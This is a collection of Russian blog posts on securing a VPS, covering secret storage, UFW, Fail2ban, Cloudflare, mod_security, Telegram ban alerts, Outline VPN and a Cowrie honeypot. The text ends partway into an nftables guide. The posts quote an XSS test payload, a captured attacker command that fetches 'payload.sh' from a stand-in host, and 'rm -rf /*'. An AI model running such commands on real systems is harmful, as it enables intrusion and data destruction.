Если секреты лежат рядом с кодом, вопрос не в том, утекут ли они, а в том — когда и через какой канал. Репозиторий, логи, бекапы, дампы, CI-скрипты, история команд — у продакшена слишком много «щелей», через которые данные утекают незаметно и буднично.

Что мы называем секретами и почему они утекают

Под секретами обычно понимают пароли к базам данных, ключи API, токены доступа, SMTP-пароли, приватные ключи, DSN-строки и любые данные, которые дают доступ к ресурсам без дополнительной проверки.

Проблема в том, что утечки почти никогда не происходят из-за «хакерской магии». Чаще всего секреты утекают потому, что их:

• закоммитили в репозиторий «временно»;
• вывели в логи для отладки и забыли убрать;
• положили в конфиг с правами чтения для всех;
• сохранили в бекап без шифрования;
• передали через CI и не ограничили доступ.

Почти всегда это следствие отсутствия процесса, а не ошибки одного человека.

Базовые принципы, которые экономят нервы

Прежде чем переходить к конкретным инструментам и настройкам, стоит зафиксировать несколько базовых правил. Они не зависят от используемого стека, фреймворка или размера проекта и работают одинаково хорошо и для небольшого сайта, и для сложного сервиса.

Секреты не должны храниться в репозитории — ни в открытом, ни в закрытом. История коммитов живёт дольше людей и проектов, а удалённый файл почти всегда можно восстановить. Даже если доступ к репозиторию ограничен, это не делает секреты безопасными.

У каждого сервиса должны быть свои собственные секреты. Один универсальный токен «на всё» удобен только до первого инцидента. После этого компрометация одного компонента быстро превращается в цепную реакцию и затрагивает весь проект.

Доступ к секретам должен быть минимальным и осмысленным. Сервису не нужен root-доступ, а разработчику не требуется постоянный доступ к продакшен-ключам «на всякий случай». Чем уже круг доступа, тем проще контролировать риски и разбирать инциденты.

Ротация секретов должна быть заранее продуманным процессом, а не аварийной операцией. Если смена ключей каждый раз вызывает стресс, ночные правки и страх что-то сломать, значит сама схема хранения и передачи секретов выбрана неудачно и нуждается в упрощении.

Доступы и роли на сервере

Без понятной модели доступов разговор о секретах быстро теряет смысл. Если на сервере все сервисы работают под одним пользователем и имеют доступ ко всем конфигам, никакое «правильное» хранение ключей не спасёт от утечек.

Хорошая практика — выделять отдельного системного пользователя для каждого сервиса. Это позволяет ограничить доступ к файлам с секретами на уровне операционной системы, а не «по договорённости». В таком случае компрометация одного сервиса не даёт злоумышленнику автоматического доступа к ключам другого.

Файлы с секретами должны читаться только тем пользователем, под которым запущен конкретный сервис. Групповое чтение и права «для всех» выглядят безобидно, особенно если сервер «закрыт от внешнего мира», но именно такие послабления чаще всего становятся причиной цепных инцидентов.

Подобный подход нередко кажется избыточным и неудобным, пока не случается первый реальный инцидент. После него разделение доступов перестаёт восприниматься как формальность и становится очевидной необходимостью.

Где хранить секреты на VPS

Для большинства проектов не нужны сложные внешние хранилища. Чаще всего хватает аккуратно организованных файлов окружения.

Самый рабочий вариант — отдельный файл с переменными окружения, который:

• не попадает в репозиторий;
• лежит вне директории с кодом;
• имеет строгие права доступа;
• подключается при запуске сервиса.

Важно не столько место хранения, сколько дисциплина вокруг него.

Если приложение использует конфиги, в них не должно быть самих секретов. Вместо этого используются ссылки на переменные окружения. Конфиг становится шаблоном, а реальные значения подставляются при запуске.

Для одного VPS централизованные хранилища секретов чаще всего оказываются избыточными: они добавляют сложность в настройке и сопровождении, не давая заметных преимуществ по сравнению с аккуратно организованными файлами окружения.

Передача секретов в systemd

Systemd — один из самых удобных и безопасных способов работы с секретами на VPS, если использовать его осознанно. В основе подхода лежит простая идея: секреты хранятся в отдельном файле окружения, который доступен только нужному пользователю, а systemd подхватывает эти значения при запуске сервиса.

При такой схеме важно контролировать два момента. Во-первых, файл с секретами не должен читаться другими пользователями на сервере. Во-вторых, сами значения не должны «всплывать» в статусе сервиса, логах или отладочных командах, которые часто смотрят при диагностике проблем.

Обновление секретов в этом случае сводится к аккуратной правке одного файла и перезапуску сервиса. Код приложения при этом не меняется, пересборка не требуется, а риск случайно засветить чувствительные данные остаётся минимальным.

Секреты в Docker без утечек

Docker часто становится источником проблем не потому, что он небезопасен, а потому что его используют неаккуратно.

Основная ошибка — хранить секреты прямо в compose-файле или передавать их через командную строку. В таком виде они легко оказываются в логах, инспектах и истории команд.

Рабочая схема та же, что и без Docker: секреты живут в файле окружения вне репозитория и монтируются или подхватываются контейнером при запуске. Контейнер знает значения, но не хранит их внутри образа.

Отдельное внимание стоит уделять логам и отладке. Инспект контейнера, дампы окружения и verbose-логи часто раскрывают больше, чем кажется. Если сервис пишет токены в лог «для удобства», никакая схема хранения не спасёт.

Репозиторий и деплой: где чаще всего ломается безопасность

Даже если секреты правильно хранятся на сервере, утечки часто происходят на более раннем этапе — во время разработки и деплоя. Именно здесь чаще всего появляются временные решения, которые потом незаметно становятся постоянными.

В репозитории должны находиться только примеры конфигурационных файлов без реальных значений. Настоящие файлы окружения не коммитятся никогда, даже «на минуту» и даже в закрытый репозиторий. История версий и резервные копии помнят такие вещи гораздо дольше, чем кажется.

Закрытый репозиторий сам по себе не делает секреты безопасными. Доступы со временем меняются, репозитории форкаются, а архивы и бекапы продолжают жить своей жизнью независимо от текущих правил доступа.

Поэтому деплой стоит выстраивать так, чтобы код и секреты попадали на сервер разными путями. Код доставляется через Git или CI, а секреты настраиваются уже на самом сервере через конфигурацию окружения. Такой подход снижает риск утечек и делает процесс более управляемым.

Логи, дампы и бекапы — тихие источники утечек

Даже если секреты не лежат в коде и не попадают в репозиторий, они нередко утекают через вторичные каналы, о которых вспоминают в последнюю очередь. Именно такие утечки сложнее всего заметить, потому что формально «всё сделано правильно».

Логи приложений не должны содержать токены, пароли и заголовки авторизации. Это особенно критично для API и ботов, где запросы часто логируются целиком ради отладки. Один verbose-режим, забытый в продакшене, способен превратить логи в полноценное хранилище секретов.

Дампы баз данных и отладочные файлы тоже требуют дисциплины. Они должны храниться ограниченное время, иметь понятные права доступа и не лежать в общедоступных каталогах. В противном случае временный файл легко становится постоянным источником риска.

Бекапы — отдельная тема и отдельная зона ответственности. Если в резервных копиях присутствуют секреты, они должны быть защищены не слабее, чем сам сервер. Иначе компрометация бекапа фактически означает компрометацию всего продакшена, только с задержкой во времени.

Быстрая ротация при подозрении на компрометацию

Ротация — это не «наказание», а штатная операция.

Если есть подозрение, что ключ утёк, важно не искать виноватых, а действовать по плану. Сначала выпускаются новые ключи, затем сервисы переключаются на них, и только после этого старые значения отзываются.

Хорошая схема хранения позволяет сделать это без простоя и без экстренных правок кода. Если ротация превращается в ночной марафон, значит процесс нужно упрощать.

Короткий чек-лист перед продакшеном

Перед запуском или аудитом полезно пройтись по нескольким вопросам:

• есть ли секреты вне репозитория;
• ограничены ли права на файлы окружения;
• используются ли отдельные пользователи для сервисов;
• не пишутся ли секреты в логи;
• понятен ли процесс ротации.

Если на все вопросы есть спокойный ответ, риск утечек резко снижается.

Итог

Когда доступы разделены, хранение понятно, а ротация не пугает, безопасность перестаёт быть абстрактной темой и становится частью повседневной эксплуатации. На белорусском VPS для этого не нужны сложные решения — достаточно аккуратной архитектуры и дисциплины.

Источник: Community">%BLOGTITLE%. Все права защищены.

Современный Интернет полон невидимых угроз. Владельцы VPS-серверов в Беларуси не понаслышке знают, что даже небольшой проект может внезапно оказаться под ударом DDoS-атаки или стать мишенью для брутфорса. Резкий всплеск трафика способен положить сайт, а бесчисленные попытки подобрать пароль могут заблокировать доступ к вашему серверу.

В материале рассказали, как шаг за шагом настроить многоуровневую защиту для своего белорусского VPS от DDoS-атак и атак методом перебора паролей. Вы узнаете, как с умом использовать брандмауэр UFW, инструмент Fail2ban и возможности Cloudflare, чтобы спать спокойно и не бояться внезапных атак.

Настройка брандмауэра UFW

Uncomplicated Firewall (UFW) — это удобный инструмент управления iptables, который предустановлен в Ubuntu и других дистрибутивах. UFW позволяет закрыть все лишние двери (порты) и открыть только те, которые нужны. Тем самым вы сузите поверхность атаки: внешнему миру будет видно лишь несколько разрешённых портов, а всё остальное будет наглухо закрыто. По сути, UFW — это ваш личный охранник на входе, который пускает только тех, кого вы сами добавили в список, а остальных разворачивает.

Для начала нужно включить UFW и открыть нужное. По умолчанию UFW может быть отключён, поэтому сначала активируйте его. Выполните на сервере команду:

sudo ufw enable

Сразу задайте политику по умолчанию. Запретите все входящие соединения и разрешите исходящие, чтобы сервер сам мог устанавливать соединения, например, для обновлений:

sudo ufw default deny incoming 
sudo ufw default allow outgoing

Теперь откройте необходимые порты. Минимум, который нужен почти всем, SSH для удалённого доступа. Как правило, SSH работает на порту 22, если вы не меняли порт. Разрешите его:

sudo ufw allow 22/tcp

Если ваш сервер используется как веб-сервер, откройте порты HTTP и HTTPS:

sudo ufw allow 80/tcp 
sudo ufw allow 443/tcp

Ограничьте скорость подключений. Для дополнительной защиты SSH можно использовать специальное правило limit, которое есть в UFW. Оно принимает несколько подключений, но если с одного IP их слишком много за короткое время, дальнейшие попытки блокируются. Это полезно против брутфорса на уровне сети. Введите команду:

sudo ufw limit 22/tcp

Установка и настройка Fail2ban

Если UFW — ваш сторож на воротах, то Fail2ban — охрана внутри здания. Он постоянно читает журналы (логи) на сервере и высматривает подозрительные признаки, например, множество ошибок входа. Обнаружив такое, Fail2ban тут же временно блокирует IP-адрес нарушителя через файрвол. Происходит это автоматически и без вашего участия.

В Ubuntu установить Fail2ban очень просто:

sudo apt update 
sudo apt install fail2ban

Сервис запустится сразу после установки. Но по умолчанию никакие правила блокировки не активны, нужно включить и настроить их вручную.

Создайте конфигурационный файл /etc/fail2ban/jail.local, чтобы не менять оригинальный jail.conf. Добавьте туда секцию для защиты SSH:

[sshd] 
enabled = true 
port = 22 
logpath = %(sshd_log)s 
backend = systemd 
bantime = 1h 
findtime = 10m 
maxretry = 5  

Эта настройка означает: если за 10 минут с одного IP случится 5 неудачных попыток подключения по SSH, то этот IP банится на 1 час. Параметр backend = systemd мы указали, потому что в Ubuntu журналы SSH ведутся через systemd, Fail2ban сможет их читать.

Сохраните файл и перезапустите Fail2ban:

sudo systemctl restart fail2ban

Проверка работы. Выполните:

sudo fail2ban-client status sshd

Вы увидите, что jail для SSH активен, и, скорее всего, пока 0 заблокированных IP. Попробуйте несколько раз ввести неверный пароль SSH с другого компьютера. После пятой ошибки Fail2ban добавит ваш тестовый IP в бан-лист. Убедиться можно той же командой status. Нарушитель отключён, сервер защищён.

Если хотите, чтобы Fail2ban использовал UFW при блокировке, добавьте в настройках [sshd] строку action = ufw. Тогда Fail2ban станет прописывать блокировки через ufw deny, а у вас вся картина будет видна через ufw status.

На данном этапе ваш VPS уже имеет два уровня защиты. UFW сдерживает атаки на сетевом периметре, а Fail2ban ловит тех, кто смог просочиться к попыткам авторизации, и безжалостно банит их. Многие администраторы на этом останавливаются, и для небольших проектов этого часто достаточно. Но DDoS — это зверь посерьёзнее. Если злоумышленник обрушит на ваш сервер гигантский поток запросов, один брандмауэр может не справиться, просто ресурсов не хватит обработать и отфильтровать такой вал. Что ж, пригласим на помощь тяжёлую артиллерию, внешнюю облачную защиту.

Подключение Cloudflare

Cloudflare — сервис, который выступает посредником между пользователями и вашим VPS. При нормальной работе Cloudflare ускоряет загрузку сайта за счёт кеширования, но когда начинается атака, он превращается в непробиваемый щит, отсекая лишние запросы и не давая серверу упасть.

Схематично: без защиты армия ботов (красный поток) перегружает сервер, и легитимные пользователи (зелёные) не могут пробиться. Cloudflare берёт эту нагрузку на себя, защищая сервер.

Cloudflare становится промежуточным звеном. Вы переводите DNS вашего сайта на серверы Cloudflare, и всё обращение идёт через них. Реальный IP вашего VPS скрывается, злоумышленникам гораздо труднее нанести прямой удар.

Чтобы подключить, зарегистрируетесь на сайте Cloudflare, добавьте свой домен и поменяйте у регистратора DNS-серверы на указанные Cloudflare. Через несколько часов, после обновления DNS, весь трафик начнёт идти через облачную сеть. Убедитесь, что в панели Cloudflare проксирование включено (оранжевый значок облака) для ваших основных DNS-записей, тогда сервис реально стоит между вашим сайтом и Интернетом.

Cloudflare автоматически фильтрует большинство типичных DDoS-атак. При резком наплыве запросов сервис может включить промежуточную страницу проверки (режим I’m Under Attack), заставляя ботов раскрыть себя. Вы тоже можете вручную включить этот режим в панели, если заметили атаку.

На бесплатном тарифе доступен базовый WAF (Web Application Firewall), ещё один уровень фильтрации веб-запросов, защищающий от распространённых угроз. Для большинства мелких проектов этого более чем достаточно.

Помимо обороны, Cloudflare кеширует статические файлы вашего сайта на своих узлах по всему миру. Это ускоряет загрузку для пользователей, так как ближайший узел отвечает быстрее, и разгружает ваш VPS, ему не нужно каждый раз отдавать одно и то же содержимое. При всплеске трафика кеш особенно помогает. Значительная часть запросов обслуживается облаком и не доходит до сервера.

Важно! Никогда не раскрывайте реальный IP сервера. Удалите или закройте любые DNS-записи, ведущие напрямую на ваш VPS, чтобы весь трафик шёл только через Cloudflare. При желании можно даже настроить UFW так, чтобы принимать соединения на веб-порты только от облачных узлов Cloudflare, и тогда никто не обойдёт защиту напрямую.

Отдельно отметим: с 2025 года Cloudflare частично блокируется в России на уровне некоторых провайдеров. Если ваш проект рассчитан на аудиторию РФ, нужно учитывать этот риск, возможно, потребуется альтернативное решение на случай полной недоступности Cloudflare в том регионе.

После подключения Cloudflare ваша архитектура защиты станет многоуровневой: сначала трафик встречает облачный фильтр, отсеивая массовый мусор; затем на сервере UFW принимает только фильтрованное подключение; и, наконец, Fail2ban следит за поведением в реальном времени и выбивает нарушителей. Такой тройной барьер по силам пробить разве что самым упорным и мощным атакующим, но им-то скорее интересны жирные цели, а не ваш проект. С большой долей вероятности, увидев, что вы под защитой, злоумышленники просто переключатся на кого-то полегче.

Заключение

Теперь ваш белорусский VPS уже не так-то просто свалить с ног. Конечно, стопроцентной гарантии безопасности не существует, мир кибератак развивается, и важно не стоять на месте. Но вы выстроили крепкий фундамент, который отпугнёт случайных бродяг и выдержит значительную бурю.

Защита сервера — это ещё и полезный опыт. Сегодня вы настроили Fail2ban и UFW для своего проекта, а завтра эти навыки могут пригодиться по работе. Кстати, в индустрии ценятся специалисты, умеющие защищать инфраструктуру. Многие компании в России и СНГ прямо указывают в вакансиях требования: умение настроить UFW, работу с Fail2ban, понимание CDN и Cloudflare. Так что, укрепляя свой сервер, вы параллельно прокачиваете резюме.

Не забывайте обновлять систему, заглядывать в логи и держать руку на пульсе. Заметим, что всё настроенное нами ПО бесплатное. За защиту, сравнимую по эффективности с дорогостоящими коммерческими решениями, вы не заплатили ни рубля. Это особенно приятно, когда бюджет проекта ограничен.

Источник: Community">%BLOGTITLE%. Все права защищены.

Когда вы открываете свой сервер в интернет, вы по сути бросаете вызов всему миру: от случайных сканеров до целенаправленных атак. Одним из простых и мощных способов защититься — это mod_security. Расскажу, как я настраивала его на Apache на своём VPS и что из этого получилось.

Что такое mod_security и зачем он нужен?

mod_security — это веб-аппликационный firewall (WAF), который работает в связке с веб-сервером Apache (или Nginx, но там немного сложнее). Он перехватывает HTTP-запросы до того, как они попадают к вашему приложению. Например, кто-то решил проверить, есть ли у вас уязвимости SQL-инъекций — mod_security может «поймать» такой запрос и заблокировать его.

Это не серебряная пуля, но для старта — очень достойный уровень защиты. Особенно если вы хостите WordPress, Laravel, Bitrix или любое другое приложение, которое часто становится целью ботов и сканеров.

Установка mod_security на VPS с Apache

Я использую Ubuntu 22.04 LTS. Установка — дело двух команд:

sudo apt update
sudo apt install libapache2-mod-security2 -y

После установки модуль автоматически активируется, но работает в режиме обнаружения (Detection Only) — то есть он пишет в лог, но не блокирует. Это хорошо на старте, чтобы не забанить случайно половину легитимных пользователей.

Перевод в режим блокировки (On)

Открываем основной конфиг:

sudo nano /etc/modsecurity/modsecurity.conf-recommended

Находим строку:

SecRuleEngine DetectionOnly

И меняем на:

SecRuleEngine On

Затем сохраняем файл как modsecurity.conf:

sudo cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf

Подключаем базовые правила OWASP CRS

OWASP ModSecurity Core Rule Set (CRS) — это набор уже готовых правил, заточенных под реальные угрозы. Подключить их — это must-have:

cd /usr/share
sudo git clone https://github.com/coreruleset/coreruleset.git
cd coreruleset
sudo cp crs-setup.conf.example crs-setup.conf
sudo cp -r rules /etc/modsecurity/
sudo cp crs-setup.conf /etc/modsecurity/

Теперь подключаем эти правила в Apache:

sudo nano /etc/apache2/mods-enabled/security2.conf

Добавляем в конец:

IncludeOptional /etc/modsecurity/crs-setup.conf
IncludeOptional /etc/modsecurity/rules/*.conf

Сохраняем и перезапускаем Apache:

sudo systemctl restart apache2

Проверка работы

Самый простой способ — попробовать с curl:

curl http://yourdomain.com/?param=%3Cscript%3Ealert(1)%3C/script%3E

Если mod_security работает, вы получите ошибку 403, а в логе /var/log/apache2/modsec_audit.log появится запись о блокировке XSS-инъекции.

Где хранятся логи?

По умолчанию:

• /var/log/apache2/modsec_audit.log — полные логи по событиям.
• /var/log/apache2/error.log — общие ошибки Apache, иногда срабатывает сюда.

Очень полезно поставить tail в реальном времени:

sudo tail -f /var/log/apache2/modsec_audit.log

Фильтрация по IP и whitelist

Если вы заметили, что mod_security слишком агрессивен (например, блокирует ваш API), можно добавить исключения. Пример исключения по URI:

SecRule REQUEST_URI "@beginsWith /api" "id:1234,phase:1,nolog,allow,ctl:ruleEngine=Off"

Можно добавить whitelist по IP:

SecRule REMOTE_ADDR "^123\.123\.123\.123$" "id:1000,phase:1,nolog,allow"

Советы по производительности

• Не включайте слишком много правил, особенно если трафик большой.
• Используйте ctl:ruleRemoveById для отключения конкретных правил.
• Храните копии конфигов — особенно modsecurity.conf и crs-setup.conf.

Итого…

mod_security — это бесплатный и мощный инструмент для фильтрации веб-трафика. Я на своём VPS теперь чувствую себя гораздо спокойнее: каждый входящий запрос фильтруется, попытки атак логируются, а лишний шум блокируется ещё до того, как дойдёт до PHP.

Если вы ещё не ставили его на свой сервер — очень советую. Это одна из тех вещей, которую ты один раз настраиваешь, а потом она спасает тебе часы и нервы.

Источник: Community">%BLOGTITLE%. Все права защищены.

Когда ты работаешь с публичным VPS, особенно если он принимает SSH-подключения или обслуживает веб-приложения, важно быть начеку. Брутфорс, попытки подбора паролей, подозрительные запросы — всё это происходит чаще, чем хотелось бы. Один из самых простых и надёжных способов защитить сервер от подобных атак — это fail2ban. А если хочешь получать алерты напрямую в Telegram, можно всё связать через webhook. Я так и сделала — и делюсь пошаговой инструкцией.

Что такое fail2ban и зачем он нужен

fail2ban — это инструмент, который мониторит логи (например, /var/log/auth.log) и банит IP-адреса, замеченные в подозрительной активности. Например, если кто-то несколько раз подряд неправильно ввёл пароль при попытке входа по SSH — fail2ban автоматически добавит этот IP в iptables или nftables и заблокирует доступ.

Ключевые возможности:

• защита SSH, nginx, postfix, dovecot и других сервисов;
• гибкая настройка bantime, findtime, maxretry;
• whitelist IP;
• интеграция с Telegram, email и другими способами уведомлений.

Установка fail2ban на Ubuntu / Debian

На моём сервере стоит Ubuntu 22.04, но аналогично работает и на Debian:

sudo apt update
sudo apt install fail2ban -y

После установки он уже готов к работе — по умолчанию включена защита SSH.

Базовая настройка /etc/fail2ban/jail.local

Создай файл jail.local, чтобы не трогать оригинальный jail.conf:

sudo nano /etc/fail2ban/jail.local

Добавим базовые настройки:

[DEFAULT]
bantime = 1h
findtime = 10m
maxretry = 5
ignoreip = 127.0.0.1/8 ::1

[sshd]

enabled = true port = ssh logpath = %(sshd_log)s backend = systemd

Параметры:

• bantime — сколько длится бан (можно bantime = -1 для вечного);
• findtime — за какой период считаются попытки;
• maxretry — сколько попыток до блокировки;
• ignoreip — IP, которые никогда не будут забанены (добавь свой домашний IP сюда!).

Отправка алертов в Telegram

Теперь к самому интересному — уведомления в Telegram. Удобно получать сообщение сразу, как кто-то стучится в SSH или на сайт.

1. Создай Telegram-бота

Зайди в Telegram и найди @BotFather. Введи:

/newbot

Дай имя и username (должен оканчиваться на bot), получишь токен — сохрани его.

2. Получи свой Chat ID

Напиши что-нибудь своему боту и открой в браузере:

https://api.telegram.org/bot<ТВОЙ_ТОКЕН>/getUpdates

Там будет chat.id — это твой ID, куда слать алерты.

Создание action-скрипта для fail2ban

Создай новый action-файл, например:

sudo nano /etc/fail2ban/action.d/telegram-ban.conf

Вставь:

[Definition]
actionstart = echo "fail2ban started on <hostname>" | /usr/bin/curl -s -X POST https://api.telegram.org/bot<TOKEN>/sendMessage -d chat_id=<CHAT_ID> -d text="fail2ban started on <hostname>"
actionstop = echo "fail2ban stopped" | /usr/bin/curl -s -X POST https://api.telegram.org/bot<TOKEN>/sendMessage -d chat_id=<CHAT_ID> -d text="fail2ban stopped"
actionban = /usr/bin/curl -s -X POST https://api.telegram.org/bot<TOKEN>/sendMessage -d chat_id=<CHAT_ID> -d text="🚨 IP <ip> заблокирован fail2ban на <hostname>"
actionunban = /usr/bin/curl -s -X POST https://api.telegram.org/bot<TOKEN>/sendMessage -d chat_id=<CHAT_ID> -d text="ℹ IP <ip> разблокирован fail2ban"

Замените <TOKEN> и <CHAT_ID> на свои значения. Не забудь дать права на выполнение:

sudo chmod +x /etc/fail2ban/action.d/telegram-ban.conf

Подключение action в jail.local

Допиши в [sshd]:

action = telegram-ban

Теперь после каждой блокировки IP ты получаешь Telegram-оповещение с IP, датой и типом события.

Полезные команды для fail2ban

Чтобы не забыть, вот краткий справочник:

• Проверить статус:

sudo fail2ban-client status

• Посмотреть статус конкретного jail (например, sshd):

sudo fail2ban-client status sshd

• Разблокировать IP:

sudo fail2ban-client set sshd unbanip 123.123.123.123

• Перезапустить fail2ban:

sudo systemctl restart fail2ban

• Просмотреть логи:

sudo journalctl -u fail2ban

Получается, что…

интеграция fail2ban с Telegram — это не просто красиво, а действительно полезно. Ты мгновенно узнаешь о попытках взлома и можешь оперативно реагировать. Особенно важно, если на сервере хостится важный проект.

Эта связка особенно хороша на VPS, где нет внешней панели безопасности — ты сам себе и админ, и охранник, и монитор. Поэтому стоит настроить fail2ban с Telegram alert-ами один раз и спать спокойнее.

Источник: Community">%BLOGTITLE%. Все права защищены.

В какой-то момент я поняла, что устала объяснять друзьям, чем отличается обычный VPN от решений вроде Outline. Это как раз тот случай, когда всё работает «из коробки», а при этом ты всё равно получаешь полный контроль. Поэтому я решила рассказать, как установить Outline VPN на VPS — и почему это может быть лучшим решением для ваших задач.

Зачем нужен Outline VPN

Outline — это open source‑проект от Jigsaw (входит в Google). Его цель — сделать настройку VPN настолько простой, чтобы даже новички справились. Основная особенность Outline VPN — он использует протокол Shadowsocks, который работает быстрее и обходится с фильтрами аккуратнее, чем OpenVPN или даже WireGuard в некоторых ситуациях.

Вот основные причины, по которым я выбрала Outline:

• Минимальная настройка сервера — всё делается через Outline Manager.
• Клиенты под Windows, Android, iOS, macOS и Linux.
• Отдельная консоль для управления ключами доступа (можно удалять, добавлять и ограничивать пользователей).
• Совместимость с VPS на Ubuntu 18.04, 20.04, 22.04 и других версиях.

Что понадобится для установки Outline VPN на VPS

Вот что нам нужно на старте:

• VPS-сервер (минимум 512 МБ ОЗУ, 1 CPU). Лучше выбрать хостинг с выделенным IP, например, на CloudVPS.
• Ubuntu 20.04 или 22.04.
• root-доступ по SSH.
• Терпение — чуть меньше, чем на установку OpenVPN

Шаг 1. Установка Outline Manager

На клиентском компьютере (например, ноутбуке под Windows или macOS) нужно установить Outline Manager — это десктопное приложение, которое подключается к вашему VPS и устанавливает Outline Server.

Скачать можно отсюда: https://getoutline.org/

После запуска Outline Manager нажимаем “Set up Outline Server” → “DigitalOcean or your own server” → “I have my own server”.

Вводим:

• IP вашего VPS
• root-пароль или приватный SSH-ключ

Программа сама подключится к серверу и выполнит автоматическую установку Outline VPN. Достаточно подождать 1-2 минуты.

Шаг 2. Что делает скрипт установки

Outline Manager выполняет следующие действия:

1. Устанавливает Docker (если его нет).
2. Запускает контейнер с Outline Server.
3. Открывает нужные порты (1984, 1024–65535 TCP/UDP).
4. Создаёт первый ключ доступа (Outline Access Key) — это специальная ссылка, которую можно использовать для подключения к серверу.

Пример ссылки:

ss://Y2hhY2hhMjAtaWV0ZjowZGVhZ...@203.0.113.123:12345/?outline=1

Шаг 3. Подключение клиента Outline VPN

Теперь, когда сервер настроен, нам нужно установить Outline Client на устройстве, с которого вы хотите подключаться (телефон, ноутбук и т. д.).

Скачать клиент можно отсюда:
https://getoutline.org/en/home

Открываем клиент, вставляем ключ (он будет скопирован автоматически после установки сервера) и нажимаем Connect. Всё!

Частые вопросы и проблемы

Как изменить порт сервера Outline?

Для этого придётся зайти в Docker-контейнер:

docker exec -it shadowbox bash

А затем — изменить конфигурацию вручную. Но проще пересоздать сервер с новым портом в Outline Manager.

Что делать, если Outline VPN не работает?

• Убедитесь, что порты 1984 и 1024–65535 открыты в фаерволе.
• Попробуйте перезапустить контейнер:

docker restart shadowbox

Подходит ли Outline VPN для обхода блокировок?

Да, и именно в этом его сила. Протокол Shadowsocks хорошо маскируется под обычный трафик. Особенно эффективен при использовании с IP-адресами из Европы (например, Германия или Финляндия).

Полезные команды

Проверка, что контейнер запущен:

docker ps

Перезапуск сервера:

docker restart shadowbox

Просмотр логов:

docker logs shadowbox

Удаление сервера Outline:

docker stop shadowbox && docker rm shadowbox

Таблица: сравнение Outline и других VPN

Источник: Community">%BLOGTITLE%. Все права защищены.

В один из вечеров, когда я проверяла логи на своём VPS, я заметила странную активность: десятки попыток входа по SSH с разных IP. Это был не targeted-атак, а обычный background noise интернета — боты сканируют IP в поисках открытых дверей. Тогда я решила: “А почему бы не посмотреть, что они вообще делают, если им дать иллюзию доступа?” И так началась моя история с honeypot-сервером на VPS.

Что такое honeypot и зачем он нужен?

Honeypot (ханипот) — это специальный сервер или сервис, который имитирует уязвимую систему, чтобы привлечь злоумышленников. Это как ловушка, которая вместо того, чтобы прятаться, наоборот — говорит: “Эй, зайди, здесь открыто”. Цель — не допустить атакующего в настоящую инфраструктуру, а наблюдать, как он себя поведёт, какие команды вводит, что ищет, какие эксплойты применяет.

Honeypot это не только для фана. Он может:

• Помочь выявить типичные методы атаки
• Собрать данные для защиты основной инфраструктуры
• Повысить навыки анализа инцидентов
• В ряде случаев — отпугнуть неопытных злоумышленников

Почему я выбрала VPS для honeypot

Настройка honeypot на домашнем сервере — занятие интересное, но ограниченное: IP не всегда белый, провайдер может заблокировать порт 22. А вот VPS — идеальный кандидат:

• Статичный белый IP
• Полный root-доступ
• Можно легко изолировать сервер от продакшена
• Стоит недорого (особенно если взять самый простой VDS, например, как у Timeweb или CloudVPS)

Выбор инструмента: Cowrie или T-Pot?

Для начала я рассматривала разные варианты honeypot’ов. Самые популярные на сегодня:

Я остановилась на Cowrie, потому что он прост, работает на Python, легко логирует всё в текст, и его легко обновлять. А главное — идеально подходит для SSH honeypot.

Установка Cowrie honeypot на VPS: пошагово

1. Настроить изолированную среду

Я создала новый VPS (на Ubuntu 22.04), отключила все ненужные порты, кроме 22, и… перенесла реальный SSH на порт 2222:

sudo nano /etc/ssh/sshd_config
# Меняем:
Port 2222
sudo systemctl restart ssh

Теперь порт 22 свободен — туда и посадим ловушку.

2. Установка зависимостей:

sudo apt update
sudo apt install git python3-venv libssl-dev libffi-dev build-essential libpython3-dev -y

3. Клонирование Cowrie:

git clone https://github.com/cowrie/cowrie.git
cd cowrie
python3 -m venv cowrie-env
source cowrie-env/bin/activate
pip install --upgrade pip
pip install -r requirements.txt

4. Настройка и запуск:

cp etc/cowrie.cfg.dist etc/cowrie.cfg
# В конфиге можно изменить фейковые логины/пароли, логирование и т.д.
bin/cowrie start

Что я узнала за первую неделю

Через сутки после запуска honeypot начал собирать логины:

• admin / admin
• root / toor
• user / 123456

Боты пытались установить майнеры, качать скрипты с Pastebin, делать curl и wget на IP-шники из азиатских подсетей. Один “гость” даже ввёл rm -rf /* — забавно, ведь Cowrie перехватывает такие команды, не давая им навредить.

Как логируются команды

Cowrie записывает всё в var/log/cowrie:

• cowrie.log — общие события
• tty/ — эмуляция терминала (прямо как видеозапись)
• downloads/ — файлы, которые пытались загрузить

Вот пример команды злоумышленника:

2025-08-14T21:53:12+0000 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotSSHTransport,521,10.9.6.22] CMD: wget http://malicious-ip/payload.sh

Безопасность honeypot-сервера

Чтобы honeypot не стал сам жертвой:

• Я установила iptables и разрешила только порты 22, 2222
• Отключила исходящие соединения через ufw deny out
• Настроила ежедневную очистку логов через logrotate
• В случае взлома — VPS можно просто пересоздать

Можно ли ловить DDoS или ботнеты?

На мой взгляд — не стоит пытаться перехватить ботнеты или вмешиваться в работу атакующих. Honeypot — это наблюдательный инструмент, а не платформа для “контратак”. Лучше просто сохранять информацию, изучать поведение и повышать защиту.

Итого: стоит ли запускать honeypot на VPS?

Если вы интересуетесь безопасностью, хотите научиться анализировать атаки, работать с логами и понять, как выглядят “черные” сканеры интернета — да, стоит. Это дешево, увлекательно и очень познавательно.

Источник: Community">%BLOGTITLE%. Все права защищены.

Если вы когда-то администрировали сервер на Linux, то наверняка сталкивались с iptables. Этот инструмент годами был стандартом для настройки firewall в Linux, но с выходом новых дистрибутивов вроде Debian 12 или Ubuntu 22.04 постепенно на его место приходит nftables — более гибкое и современное решение. Я как раз недавно прошла весь путь миграции со «старичка» iptables на nftables и хочу поделиться опытом — по-человечески, без заумных инструкций, но с работающими командами и нюансами.

Почему iptables устарел — и что предлагает nftables

Сначала немного теории, чтобы было проще ориентироваться. iptables основан на фреймворке netfilter и давно используется для управления трафиком. Однако у него есть ряд ограничений:

• запутанный синтаксис;
• невозможность объединять правила в логические блоки;
• разные утилиты (iptables, ip6tables, ebtables, arptables) для разных протоколов.

nftables, наоборот, предоставляет унифицированный подход и один бинарник nft, которым можно управлять всеми типами фильтрации. Он быстрее, мощнее и позволяет писать конфигурации более понятно.

В новых системах по умолчанию уже используется режим iptables-nft, то есть iptables-команды проксируются на движок nftables. Однако это не совсем нативно — всё равно лучше перейти полностью на чистый nftables.

Как понять, какой движок используется сейчас

Запустите:

iptables -V

